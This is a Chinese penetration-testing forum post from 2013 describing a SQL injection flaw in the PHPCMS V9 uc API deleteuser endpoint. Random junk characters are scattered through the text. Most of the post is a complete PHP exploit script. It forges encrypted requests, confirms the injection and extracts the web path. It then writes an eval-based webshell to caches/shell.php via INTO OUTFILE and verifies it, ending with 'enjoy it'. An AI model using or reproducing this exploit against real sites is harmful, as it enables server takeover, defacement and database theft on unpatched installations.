中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。: J8 z& a% [7 U

( d4 Z! Q7 k. L6 m8 x所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。9 o1 W" `5 v1 E) O2 X6 R
0 r5 a- r- e7 _4 g# u- i
漏洞分析:& T: e; u9 H9 z  @1 x
1.未启用ucenter服务的情况下uc_key为空
( N( Q. D7 x7 M5 M/ n* G8 Ndefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
5 U  ~: K0 C9 H  K: d2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
- V; \- J' }9 f. `8 i. \; A. x% k$ ~    public function deleteuser($get,$post) {
, D  p$ N! E9 }& [5 t        pc_base::load_app_func('global', 'admin');
( q( [: C2 u' R" g  {; K5 Q        pc_base::load_app_class('messagequeue', 'admin' , 0);6 v7 g, E1 ?! K) D6 a$ J+ ]7 |
        $ids = new_stripslashes($get['ids']);9 h4 s9 u/ h) g0 p1 J! d
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
9 H$ b( j; r$ o8 i/ j7 |SQL语句为8 [+ s0 a4 d$ Y2 v+ _
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
/ k# J% O! ~6 j
# Y( r. h6 q' a7 S' L利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
% d5 h' P; e! e# V! [<?php/ T7 _4 u& Y) c0 ?6 x
print_r('% q; M& `  l8 R
---------------------------------------------------------------------------7 I$ k( [" f& Q" a
PHPcms (v9 or Old Version) uc api sql injection 0day
9 x: j) n/ C9 D8 Y) k( xby rayh4c#80sec.com
. |+ W% K+ u2 e' G9 n3 A/ y---------------------------------------------------------------------------. H; _$ m+ ~) f; O
');4 f1 g* V9 B6 P! ~* [# Z

  K& R1 L6 j* f9 y, J0 A5 m, V0 Mif ($argc<3) {6 v/ t: m/ P1 ]# P0 R9 {0 H
    print_r(', x( {5 Q/ G* r* x( [0 L% t. Q  K
---------------------------------------------------------------------------; g1 U0 x) I* M/ F) I6 ?
Usage: php '.$argv[0].' host path OPTIONS' R" ^  [- c4 w; k
host:      target server (ip/hostname)
" ^, {# S/ c9 _! j8 rpath:      path to phpcms
. c  G/ }6 w4 q+ ^- d5 p( D) V% zOptions:- ?; u( p9 A  E5 H  Q) B) z; R
-p[port]:    specify a port other than 80
6 _, q0 x) ]* F: w1 Z: `: w -P[ip:port]: specify a proxy
; l4 O4 a& _% s% N2 a* A( MExample:  M) k2 M/ \4 f% w* e0 M. R
php '.$argv[0].' localhost /
" u0 V) R& d: zphp '.$argv[0].' localhost /phpcms/ -p817 V0 K8 N% Y+ S* Q. B$ D2 V2 x
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
9 A- U3 R) R7 p/ F---------------------------------------------------------------------------
; W8 b# ]. p4 \+ h& L5 u, ?');( E0 R' s' q# U( J
    die;
2 [/ c2 I, |6 B+ b' `}: W5 r! r7 @6 s5 w9 r7 w) P- W2 a

, {  d; f# [5 k. f8 Z' n" ferror_reporting(7);
! H; `8 m# X9 `" c. o0 ^- I, V* C% kini_set("max_execution_time",0);
1 E, f. q) `0 K( Q$ W3 x7 hini_set("default_socket_timeout",5);
! p7 j4 S" h1 g+ ^1 n0 n$ B
% g1 m1 H! d: ^! M8 ^* k& b) r1 ufunction quick_dump($string)3 f' A- F+ P1 g9 M
{9 O! d; z5 X* T% a6 x: O
  $result='';$exa='';$cont=0;* N: i  q* @6 W7 @7 M$ v' w- O
  for ($i=0; $i<=strlen($string)-1; $i++)* u# m* O& i8 u( t  Y- `) ?
  {
. R6 ?' b% D! N6 R  a   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
8 Z' q. p1 e7 q! @% ^9 B   {$result.="  .";}
& ^; u) ]  N% [' D; ^$ d' i# k+ d8 C& d   else
' _4 Y' |9 }+ e; x' p9 d$ w   {$result.="  ".$string[$i];}
, f! P# ]& ^  C0 r+ [8 I$ _' e   if (strlen(dechex(ord($string[$i])))==2)0 B$ ^2 M1 q! f1 ?
   {$exa.=" ".dechex(ord($string[$i]));}& Z! J0 @8 L4 [5 H* ?7 y
   else4 M' T3 S- Q8 o% x1 \
   {$exa.=" 0".dechex(ord($string[$i]));}
- P; p5 H* z- j) O   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
/ P6 j! G# U0 i- t1 K  }* ^3 p! c8 f! _$ ?
return $exa."\r\n".$result;, m; Z; a4 h. _4 a, x/ O
}
  P( F  d, H8 G3 \: y0 b1 I$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';+ J. s" {% K' [5 s, B

! F9 Q8 {0 ]' Q( ?$ Yfunction send($packet)
; v- P6 s# o* {3 @2 o{- ]" Z; t' R+ h! o% G
  global $proxy, $host, $port, $html, $proxy_regex;
  R8 u: d- m( ~# t# V  if ($proxy=='') {+ k, [% z5 ]8 o# ^- t( `
    $ock=fsockopen(gethostbyname($host),$port);
+ X1 n7 X- C; v. [1 g" H7 V6 A% Z    if (!$ock) {
! _0 p: i' a6 _1 Y      echo 'No response from '.$host.':'.$port; die;# Q3 ^$ L6 }$ C
    }
! {/ ]4 |# \' v4 m2 D  }
* g& S5 a" i" B) Y* T; V  else {
* E& i, W. E" L1 Z4 r        $c = preg_match($proxy_regex,$proxy);4 G9 X% h4 s; g  a
    if (!$c) {
: R0 y/ i3 H* m1 ]: r      echo 'Not a valid proxy...';die;( _% _. ]! M+ y3 y$ w
    }
* q* P2 p4 H2 S4 Z' t5 Z7 j    $parts=explode(':',$proxy);
+ `; D6 F) ~, z! z    $parts[1]=(int)$parts[1];
& @* D4 B+ C0 j, D# R: D    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";! x) j+ x; T6 @9 d! n& T: h1 j
    $ock=fsockopen($parts[0],$parts[1]);, _9 t+ q9 ^3 p8 s2 P$ a& P
    if (!$ock) {+ h$ t: E) g7 h7 C0 B
      echo 'No response from proxy...';die;5 q( S8 a! P% @# O- Z/ ~  \
        }
9 i' [+ u; d% F  }5 v8 s  [. V# E. b5 a+ r- G: j0 @9 a, `2 t
  fputs($ock,$packet);
2 R) C$ ~/ [; [' b# }% F0 p; [  if ($proxy=='') {
9 w$ Z; L! l/ @% r7 n    $html='';
1 R5 n$ ?+ G) r& `    while (!feof($ock)) {
8 K* {2 f2 c, J9 }, y5 n" d: d8 C7 ?      $html.=fgets($ock);. Y$ C7 E- a7 Z  |* E& L
    }
) b) @9 Q% l; M4 s+ v9 Q) U  }. B/ |9 U1 Y# K* u2 B
  else {
8 o; Q# y( V' p6 z    $html='';) h# C7 J+ q& h. M0 A0 o( ?
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {1 i; }# [8 E; N2 A( V
      $html.=fread($ock,1);
5 W+ c7 v( _: p% y, w    }
7 C( b8 s4 ^) ^$ r+ c. h  }# x1 W: a- T2 u3 b
  fclose($ock);
' b5 S3 B  N; j9 w7 y}$ `: N9 R+ r5 y% S- G
3 @4 E% V  N9 M- \9 G
$host=$argv[1];3 P: j2 c# E! C$ ?2 @
$path=$argv[2];
- q% `% \& _4 k4 [0 B8 @$port=80;3 N' v& @  _/ u5 J
$proxy="";: z4 C4 Q+ F0 K& y6 x( r& _
for ($i=3; $i<$argc; $i++){  x4 z$ z# D: j3 M% Z. e
$temp=$argv[$i][0].$argv[$i][1];
+ {4 A6 v8 k. E6 q1 _! jif ($temp=="-p")9 _' i6 R% T  M, V8 [# R  C
{
; ]  Z* F' |7 ^: b  $port=(int)str_replace("-p","",$argv[$i]);
# [3 M4 L4 E9 R}
- v& ^( p) l5 V4 ^  X7 R& hif ($temp=="-P")4 l  x* U" T8 U  |$ o* o
{
4 M% G/ u8 n1 L/ I  $proxy=str_replace("-P","",$argv[$i]);
1 S& f, d6 R! l" e}; U) u1 @9 z' \" b
}9 M1 R& U. b, L  c% @0 s' j; f

; _. p# r& ^$ G7 j8 j: e! yif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}% V! Z: A9 O" w9 W9 W2 D. H. B
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}4 q4 ^* {( H, e" X7 p; o! d% v

; a1 K' L0 V' l( u8 Qfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
8 m3 I; C. L0 g
6 Z( I5 H3 z5 p1 P4 o& w& {( G6 q$ s    $ckey_length = 4;
4 X$ c/ m' C  d7 E4 S2 j  e3 h) W4 U8 N2 P. I& n
    $key = md5($key ? $key : '');: D9 T3 x8 g$ Q. u5 K+ |
    $keya = md5(substr($key, 0, 16));4 O& i0 t- @) Z* x* D3 R8 `: x
    $keyb = md5(substr($key, 16, 16));2 n) P2 E5 l8 s2 F
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
! b  ?; |  R. ?; Q4 Q2 a3 Z6 R! X- A( O+ M8 v
    $cryptkey = $keya.md5($keya.$keyc);
/ J3 y% c8 J2 }1 h5 I' v    $key_length = strlen($cryptkey);. r$ ^/ S% n, b6 I

' D2 E3 b- U* [& @# S    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
3 b8 H8 o% a; `  Y' C- w    $string_length = strlen($string);- ?6 ]7 Q6 F* {- a

8 @% w2 Q$ o& v, B; \" p    $result = '';! ~/ Y6 h/ e/ K  v7 ~
    $box = range(0, 255);, L- V: x2 P" X0 {2 C6 K

) p" u% u5 m0 I    $rndkey = array();
( s1 ^1 K# _. C5 B    for($i = 0; $i <= 255; $i++) {
# e9 ]6 J' c1 {        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  K3 ]- i' v9 K& c4 O    }1 v5 |9 M9 D3 J9 m. ]" Q
/ o" l' ^/ J5 m- u; U
    for($j = $i = 0; $i < 256; $i++) {
5 _5 f$ I- S& W. X3 `- O        $j = ($j + $box[$i] + $rndkey[$i]) % 256;0 w  ]( H4 ]* y, C5 M' y0 N5 O  Q
        $tmp = $box[$i];
) W' O5 x! F- [! C4 _7 ?: g1 `; H8 ]        $box[$i] = $box[$j];* V3 ^: E1 ]& w# J& ^6 x+ R" }+ H& t
        $box[$j] = $tmp;
, E# h# G- A4 {' o. \    }" w  W1 f. I$ r4 u, D2 F( X

1 d9 y) ^) n, w7 l' g3 c    for($a = $j = $i = 0; $i < $string_length; $i++) {
+ ^, w6 z. p' B1 E8 z' ~. }        $a = ($a + 1) % 256;6 p9 m; h3 J4 n6 Z0 w3 K( N2 \6 N
        $j = ($j + $box[$a]) % 256;
. {% b! d* B  ]2 Z/ ]: d7 x        $tmp = $box[$a];! T* C1 a- o, G5 ]6 W
        $box[$a] = $box[$j];. q, `- K$ M+ h. R
        $box[$j] = $tmp;8 S& H. @$ {, e1 }$ O
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
& r* t9 A' o. H# _* `, L    }6 l# l0 f- c5 T9 I/ c9 ]2 L8 ]

" l" V4 U) X; j3 Z    if($operation == 'DECODE') {8 D- e( q) A0 n4 M
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
( l& {& [. W: j5 Z            return substr($result, 26);
  ~* B' J$ W# Q& |, c  g$ V2 Y        } else {9 a+ i  P+ f% c- V
            return '';
; a" I. k* l( w1 B: g4 z0 E- A        }
& F3 s! S5 _. s6 v; e    } else {
9 {' }% k0 I4 ~! c        return $keyc.str_replace('=', '', base64_encode($result));
. p+ W/ ]6 K* H5 t' N    }) ^5 y) H& T# O; N/ U! c8 o0 d8 L( X
( ~. b7 y1 T: y7 y4 U
}
; m- x% j; V7 u# R( [5 Z0 p
* o2 a8 I/ ]+ b$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";) D4 U8 S1 m. w
$SQL = urlencode(authcode($SQL, "ENCODE", ""));# f: p2 Z( s4 J* ~+ X, j& C4 x
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";+ v' @3 S" e8 ]! u# j7 o. [) O3 ?
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 c. v7 Y( K+ e- D
$packet.="User-Agent: Mozilla/5.0\r\n";- D% ?% s& y5 b
$packet.="Host: ".$host."\r\n";0 H& D2 a! x. q/ ]% s$ ^* B  t
$packet.="Connection: Close\r\n\r\n";
+ U3 c+ S1 d6 x' Csend($packet);- o8 J+ }! }+ P7 I% r
if(strpos($html,"MySQL Errno") > 0){* _6 F/ ]3 }2 w6 a
echo "[2] 发现存在SQL注入漏洞"."\n";
0 m8 b/ L& M! ?( j$ w- gecho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";4 G& G- ^4 ?" c4 d. n8 y
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! A, ]9 q  L3 s4 a5 Z8 c$packet.="User-Agent: Mozilla/5.0\r\n";
7 d# b% L; [& u1 j2 F$packet.="Host: ".$host."\r\n";/ L" k/ ^6 |9 `+ S  i' R2 Y  N
$packet.="Connection: Close\r\n\r\n";
. W5 x- u0 e0 d( q& a# ~send($packet);
9 k2 p/ I3 K  C! E; xpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
. Y0 ]; h' ]& W2 v  D. d//print_r($matches);
0 K  b( r* s1 W9 r3 N5 iif(!empty($matches)){
4 v* d6 W! w$ g+ {, s) t! e. B! Uecho "[4] 得到web路径 " . $matches[0]."\n";- R( k: v) A7 I, y5 R$ u
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";+ @2 i- B! B2 P: }
$SQL = "time=999999999999999999999999&ids=1)";
3 f$ \! F. p, E7 `" X$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";+ o9 w% p3 U, X$ m
$SQL.="&action=deleteuser";$ H9 L- v7 y# a6 X% |
$SQL = urlencode(authcode($SQL, "ENCODE", ""));( k: Z  Z, M# \2 C' Z. W) c7 k
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";8 Q2 `' h7 h7 i, @; [$ n
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";2 e7 d  u6 ^' v$ G
$packet.="User-Agent: Mozilla/5.0\r\n";/ \' \3 T+ X4 H* A' f3 G" j
$packet.="Host: ".$host."\r\n";
/ n3 e% j- h5 M  n4 `9 X$packet.="Connection: Close\r\n\r\n";
# W2 q( S3 d0 L! O* {8 Asend($packet);, D1 p; {: @9 Z# `. B
if(strpos($html,"Access denied") > 0){
' T8 ?4 g. H4 Techo "[-] MYSQL权限过低 禁止写入文件 ";
! A( ]5 Q- n7 R2 ~0 @4 m3 a: Xdie;' W  F# e/ R2 B# c- d* m
}+ d8 `  P& k% s; c. h
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
" G/ N+ Y+ d- p8 S9 L$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";8 |4 o8 c- i, l# w5 _! C
$packet.="User-Agent: Mozilla/5.0\r\n";
# S& Q2 }4 G8 Y4 S2 U$packet.="Host: ".$host."\r\n";
* x# \/ k. r6 W7 v4 K; N* j$packet.="Connection: Close\r\n\r\n";0 Z4 `+ F9 Y* V
send($packet);
" x4 K) Y; y" i0 \$ A7 E( _if(strpos($html,"<title>phpinfo()</title>") > 0){
* s0 d" B; J5 J$ R* R/ Wecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";: T0 W( _% |+ r' u& h
}
& ~6 l. }/ J! t5 s; @& e+ I}else{
; ~, c. H, c4 E6 p! `echo "[-]未取到web路径 ";" |* ~5 H% K& \( P5 y
}5 S: D" f* ?: v, Y
}else{
6 ^2 H+ j# c  Zecho "[*]不存在SQL注入漏洞"."\n";
2 u) S  p2 `( f' X}
! j3 O5 D$ Y: [% X% J1 T/ K7 |
4 m% V( J% D! n' u?>
/ r# m' E  {# y( ?




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2